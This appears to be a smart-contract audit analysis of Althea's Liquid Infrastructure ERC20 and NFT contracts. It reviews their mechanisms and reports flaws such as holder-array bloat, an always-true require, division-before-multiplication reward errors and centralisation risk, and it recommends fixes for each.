The contracts exhibit a moderate level of error handling; however, there is room for improvement, particularly in the administrative functions, which currently lack essential validations, such as preventing the addition of duplicate NFTs to the managed NFT list. Additionally, the contracts rely solely on require statements for error handling, without utilizing separate error types. To refine the codebase, it is advisable to implement a dedicated library contract that centralizes error definitions. Adopting this strategy would not only enhance the code's structure but also its maintainability, leading to a more robust and clear error handling system.

Imports

It is advisable for the contracts to utilize named imports consistently throughout the codebase. This practice enhances readability and maintainability by clearly indicating the specific functions, variables, or types that are being imported from external contracts or libraries.

Libraries

The contracts currently do not incorporate any libraries. However, it is advisable to consider using a separate library to encapsulate the errors and events in the contracts. This practice can enhance modularity and maintainability within the codebase.

Mechanism Review

Deploy Liquid Infrastructure NFTs

Entities utilizing Althea's networking devices deploy LiquidInfrastructureNFTs to tokenize their assets within the ecosystem. By doing so, they create a digital representation of their infrastructure on the blockchain. The process involves setting the Liquid Infrastructure ERC20s contract as the owner of the NFTs, which enables it to manage the assets and withdraw any revenue that exceeds predefined threshold amounts. This approach allows for the seamless collection of revenue generated from the x/bank module.

Managing Liquid Infrastructure NFTs

The owner of the LiquidInfrastructureERC20s contract has the capability to add or remove LiquidInfrastructureNFTs with the contract. This is achieved through two functions: addManagedNFT() and releaseManagedNFT(). The addManagedNFT() function is designed to onboard new NFTs into the system; however, it lacks a crucial check to verify whether the NFT has already been added. This oversight introduces a risk where, if the owner inadvertently adds the same NFT more than once, the contract does not revert the action. Consequently, when the withdrawal functionality is invoked, it is required to withdraw ERC20 tokens from the NFT contract multiple times, leading to unnecessary gas expenditures.

On the other hand, the releaseManagedNFT() function is removing NFTs from the contract's management. It operates under the assumption that there are no duplicate entries in the ManagedNFTs array. However, as previously mentioned, the possibility of duplication exists. The current implementation of releaseManagedNFT() only eliminates the first occurrence of the NFT contract in a single transaction, leaving any additional duplicates untouched.

Recommendation

To address these issues, it would be prudent to introduce a mapping in parallel with the ManagedNFTs array. This mapping would maintain the index of each NFT address, thereby ensuring the uniqueness of entries in the array and eliminating the need for costly iterations. When the need arises to remove an NFT, the index can be retrieved from the mapping, allowing for efficient removal from the array and effectively preventing any duplication.

Furthermore, the existing require statement within the releaseManagedNFT():

// By this point the NFT should have been found and removed from ManagedNFTs
require(true, "unable to find released NFT in ManagedNFTs");

is flawed as it will invariably pass, given that the condition is always satisfied. This means that the associated event will be triggered regardless of whether the NFT was actually found or removed from the array. To ensure the integrity of the contract's operations, this require statement should be corrected to accurately reflect the success or failure of the NFT's removal.

Another concern is that neither addManagedNFT() nor releaseManagedNFT() currently checks for ongoing withdrawal processes. It is essential to ensure that no updates to the NFTs under management are made while a withdrawal is in progress. If a withdrawal is underway, these functions should block any attempts to add or release NFTs until the withdrawal is complete. This safeguard would prevent potential conflicts or inconsistencies during the management of the NFTs, especially in the context of financial operations.

Managing Distributable ERC20 Tokens

The setDistributableERC20s() function is utilized within the LiquidInfrastructureERC20 contract to establish a new array of ERC20 tokens that are eligible for distribution to token holders. However, this function does not provide the flexibility to add or remove individual ERC20 tokens from the list; it requires setting the entire array at once. While managing a small number of ERC20 tokens may not pose significant issues, the gas costs associated with updating the list can escalate as the number of tokens increases, due to the inherent nature of blockchain transactions and the need to store more data on-chain.

Recommendation

The current implementation lacks a safeguard to prevent updates to the distributable ERC20 tokens while a distribution is actively in progress. This oversight could lead to complications if the list of distributable tokens is altered mid-distribution, potentially affecting the accuracy and fairness of the distribution process.

Manage LiquidInfrastructureERC20s Holders

The LiquidInfrastructureERC20 contract functions—approveHolder(), disapproveHolder(), and isApprovedHolder()—designed to manage the list of entities authorized to hold its ERC20 tokens. A dedicated holders array within the contract keeps track of all token holder addresses.

Token transfers within the contract are confined to approved holders. Consequently, any address that receives the token is automatically appended to the holders array. Being an approved holder is a key criterion for eligibility to receive rewards as well as tokens, which are allocated among those on the approved list. Moreover, approved holders are at liberty to trade their LiquidInfrastructureERC20 tokens on external markets, thus providing liquidity and facilitating the discovery of the token's market price.

Withdraw ERC20s From Liquid Infrastructure NFTs

The withdrawFromManagedNFTs() function serves a crucial role in managing the flow of ERC20 tokens from associated NFT contracts. Designed to be publicly callable, this function allows any user to initiate the withdrawal of accumulated ERC20 tokens, such as stablecoins, from the NFT contracts that the LiquidInfrastructureERC20 oversees. To safeguard against gas-based Denial of Service (DOS) attacks, the function is resistant to excessive gas consumption, ensuring that the withdrawal process remains efficient and secure. However, to maintain the integrity of ongoing reward distributions, the withdrawFromManagedNFTs() function cannot be executed while a distribution is in progress, preventing any potential interference with the allocation of rewards to token holders.

Distribute Rewards to Liquid Infrastructure ERC20s Holders

The distribute function in the contract is publicly accessible, enabling any party to trigger the distribution process after the MinDistributionPeriod has passed. This functionality guarantees that approved holders can receive their rewards promptly. The rewards are issued in stablecoins, offering a dependable value for the beneficiaries. To counteract potential gas-based Denial of Service (DOS) attacks, the distribute function is crafted to be resilient against DOS related to gas limits by facilitating the distribution across several incremental steps. This approach allows for a smooth and secure reward distribution that aligns with the holders' InfraERC20 token balances.

Recommendation

When calculating reward entitlements, it is critical to account for the decimals of the reward tokens to ensure precision. To avoid the common issue of division before multiplication, which can lead to rounding errors and loss of precision, the contract should take a snapshot of the token balances at the start of the distribution cycle. This snapshot will then be used to accurately calculate the reward entitlement for each holder during the distribution process. By multiplying the holder's balance by the reward per token first and then dividing by the total supply, the contract can maintain the integrity of the distribution calculations.

Furthermore, the contract should not include the balances of disapproved holders when calculating the total supply for reward entitlements. If disapproved holders' balances are factored into the total supply, their undistributed portion of rewards will carry over to subsequent distribution rounds. This carryover can create disparities in reward distribution, as future approved holders may receive a share of rewards that were not allocated in previous rounds. To prevent such inequities, only the balances of approved holders should be considered in the calculation of reward entitlements, ensuring a fair and proportional distribution of rewards to eligible participants.

Liquid Infrastructure ERC20s Operations

Mint

The minting functionality is exclusively reserved for the contract owner, ensuring that only the owner can issue new tokens to users. This level of control is crucial for maintaining the integrity of the token's supply and for adhering to any predefined tokenomics. Additionally, the contract stipulates that a distribution must occur before any minting can take place, provided that the MinDistributionPeriod has been reached. This requirement ensures that all entitled token holders receive their due rewards before any new tokens are introduced into circulation, thereby preserving the fairness and accuracy of the distribution process.

Burn

The burn functionality is accessible to token holders and users who have been granted approval, allowing them to reduce the token supply by destroying a specified amount of their tokens. The contract enforces a rule that requires a distribution to be completed before any new burning actions if the MinDistributionPeriod has elapsed. This ensures that existing token holders receive their allocated rewards based on the current supply before any decrease in the total number of tokens occurs, maintaining the equitable distribution of rewards.

Transfer

The transfers of tokens are designed to occur exclusively between approved holder addresses. This restriction ensures that only approved holders can receive the token and holding of tokens, aligning with the contract's security and compliance measures. After each transfer, if the recipient's (to address) balance increases from zero as a result of the transaction, their address is automatically added to the holders array. Conversely, if a sender's (from address) balance is depleted to zero during the transfer, their address is promptly removed from the holders array, reflecting the change in their token holding status. This dynamic updating of the holders array after each transfer maintains an accurate record of current token holders within the contract.

Recommendation

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
@-->        for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }
            }
        }
    }

The _afterTokenTransfer function is designed to update the holders array, which tracks the addresses currently holding tokens. As shown in the provided Solidity code snippet, the function includes a loop that checks if the from address, after transferring tokens, still holds any tokens.

However, this logic presents a potential inefficiency during the minting process. When new tokens are minted, the from address is the zero address (address(0)), and since the zero address cannot hold tokens, its balance is always zero. The loop in the _afterTokenTransfer function would then be executed unnecessarily, iterating over the entire holders array without the possibility of finding an entry for address(0) to remove. This unnecessary iteration can result in the contract owner incurring significant gas costs over time, especially as the holders array grows. To optimize gas usage and avoid this inefficiency, the loop should be bypassed or excluded from execution during minting operations, ensuring that minting remains cost-effective and does not impact the contract's performance.

During the token burning process within the LiquidInfrastructureERC20 contract, a significant issue arises where the zero address (address(0)) is mistakenly added to the token holders array. See _beforeTokenTransfer function. Consequently, each burn transaction triggers the addition of address(0) to this array. This erroneous behavior leads to an inflated holders array, which not only consumes unnecessary storage space but also increases the risk of gas griefing. As the array grows with each burn transaction, operations that need to iterate over the array become more gas-intensive, potentially resulting in a systemwide Denial of Service (DOS) if the gas costs exceed block limits, thereby disrupting the contract's and possibly the broader ecosystem's operations.

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
@-->        holders.push(to);
        }
    }

The same flawed logic within the contract does not prevent zero-amount transfers, which can further exacerbate the issue. If a transfer of zero tokens is made to an address with a zero balance, that address is also incorrectly added to the holders array. This can lead to repeated and unnecessary entries in the holders list, compounding the bloating problem. As with the burning issue, this can cause similar complications, including increased gas costs for iterating over the holders array and the potential for a systemwide DOS, affecting the contract's functionality and efficiency.

Critical Issues

Decimal Handling and Order of Operations

The current implementation of the LiquidInfrastructureERC20 contract's distribution process encounters a significant challenge due to the handling of decimal places and the order of operations in calculating entitlements. The logic does not properly account for the decimal differences between distributableERC20s tokens such as USDC, USDT, or DAI, which typically have 10^6 decimals, compared to the InfraERC20 token's total supply with 10^18 decimals. This leads to a situation where division is performed before multiplication, necessitating an impractically high minimum balance of 1 trillion USDC to initiate the distribution process. To rectify this, the contract should be updated to perform multiplication before division and to scale the distributableERC20s tokens to the same decimal precision as InfraERC20 tokens before calculating entitlements.

Impact of Excluding Disapproved Holders on Reward Calculation

The LiquidInfrastructureERC20 contract's distribution logic calculates the entitlement of rewards based on the total supply of tokens, without distinguishing between approved and disapproved holders. As a result, when disapproved holders are excluded from a distribution cycle, their share of the rewards remains undistributed. This undistributed portion is then carried over to the next distribution cycle, where it may be unfairly allocated among a new set of approved holders, potentially including those who have been added since the last cycle. This can lead to a dilution of rewards for existing approved holders who were entitled to a larger share. To ensure equitable distribution, the contract should adjust the entitlement calculation to exclude the balances of disapproved holders from the total supply.

Necessity of an Emergency Withdrawal Mechanism

The LiquidInfrastructureERC20 contract's lack of an emergency withdrawal mechanism for undistributed distributableERC20s tokens presents a critical issue. This becomes particularly problematic when the contract owner updates the list of distributable tokens using the setDistributableERC20s function. If certain tokens are omitted from the updated list, their remaining balance could become locked within the contract with no way to retrieve them. This not only prevents the reallocation of these funds but also poses a risk of permanent loss of assets. Implementing an emergency withdrawal function would enable the contract owner to recover undistributed tokens, ensuring that the contract's assets remain accessible and manageable.

Attacker Can Inflate the Holder Array with Zero-Token Transfers

The vulnerability has been identified in the LiquidInfrastructureERC20 contract, where an attacker can exploit zero-token transfers to manipulate/inflate the holder array. This attack involves sending zero-token transactions to an approved holder whose balance is zero. Despite not transferring any actual tokens, this action results in the recipient's address being added to the holder array multiple times.

Addition of Zero Address to Holder Array on Every Token Burn

The LiquidInfrastructureERC20 contract exhibits a critical flaw where the zero address (address(0)) is automatically added to the holders array during every token burn transaction. This occurs due to a lack of proper validation in the _beforeTokenTransfer function, which should prevent the zero address from being included in the holder tracking mechanism. The presence of address(0) in the holders array can lead to unnecessary complications and inefficiencies within the contract's operations, particularly in functions that rely on iterating over the array of token holders.

Division Before Multiplication in Reward Distribution Calculation

The LiquidInfrastructureERC20 contract faces an issue in its reward distribution logic due to the order of operations where division is performed before multiplication. This sequence, particularly when using integer arithmetic in Solidity, results in premature truncation of values. Consequently, this leads to incorrect calculations of reward entitlements. The problem is further compounded by the contract's InfraERC20 token having a different decimal precision (18 decimals) than the distributable ERC20 token, such as USDC, which has 6 decimals. The flaw is located within the erc20EntitlementPerUnit calculation in the _beginDistribution function. The current implementation, due to the handling of decimal places and the order of operations for calculating entitlements, inadvertently necessitates a prohibitively high minimum balance of 1 trillion USDC to initiate the distribution process. This high threshold is impractical and hinders the contract's ability to conduct distributions.

Centralisation Risk

The Althea Liquid Infrastructure protocol utilizes the LiquidInfrastructureERC20 contract, which assigns critical responsibilities to the Owner role. This role is pivotal for executing various administrative tasks, including approving or disapproving token holders (approveHolder, disapproveHolder), minting new tokens, adding or releasing managed NFTs (addManagedNFT, releaseManagedNFT), and setting the list of distributable ERC20 tokens (setDistributableERC20s). All these functions are safeguarded by OpenZeppelin's Ownable contract, which provides a standardized approach to access control. However, this reliance on a single Owner role introduces a potential vulnerability related to centralization, where a single point of failure could pose risks to the protocol's security and integrity.

Recommendations

To mitigate this risk, it is strongly recommended to implement OpenZeppelin's Ownable2Step contract. This step enhances security by addressing centralization concerns in the protocol.

Systemic Risk

Risk Due to Removal of _isApprovedOrOwner in OpenZeppelin Contracts

OpenZeppelin (OZ) has recently made a significant update to their ERC721 contract by removing the _isApprovedOrOwner() internal function in the latest version. This change introduces a risk for contracts that rely on this function, such as the OwnableApprovableERC721 contract and, by extension, the LiquidInfrastructureNFT contract. Since these contracts are built upon the assumption that _isApprovedOrOwner() is available for use, updating to the latest version of OpenZeppelin's contracts without appropriate modifications could lead to compatibility issues or even contract failure. It is crucial for developers and auditors to be aware of this change and to ensure that any contracts depending on _isApprovedOrOwner() are either updated to work with the new OpenZeppelin implementation or are locked to a compatible version of the OpenZeppelin contracts to mitigate potential risks associated with this breaking change.

Absence of stringent access control on distribute and withdrawFromManagedNFTs

The absence of stringent access control on pivotal functions like distribute and withdrawFromManagedNFTs presents a systemic risk that extends beyond individual contract vulnerabilities to potentially affect the entire ecosystem dependent on it. This risk materializes when unauthorized users are able to invoke these functions. This lack of control could lead to scenarios where users initiate distribution or withdrawal processes but do not complete them, consequently burdening other users or the owner with the task of finishing these operations. Such situations could render these vital contract functions idle, disrupting the contract's critical operations until the pending actions are resolved.

Lack of Upgradability Provisions

The contract lacks a structured approach to upgradability. Without provisions for upgradability, deploying updates to address vulnerabilities or introduce improvements could pose challenges. Considering the integration of upgradability features is advisable to facilitate future enhancements and fixes.

Absence of Pausability Feature

The contract currently lacks a pausability mechanism, a critical feature for emergency halting of contract functions in response to vulnerabilities or attacks. Introducing a pausability feature would enable a swift response to protect user funds and maintain system integrity during unforeseen events.

Time spent:

48 hours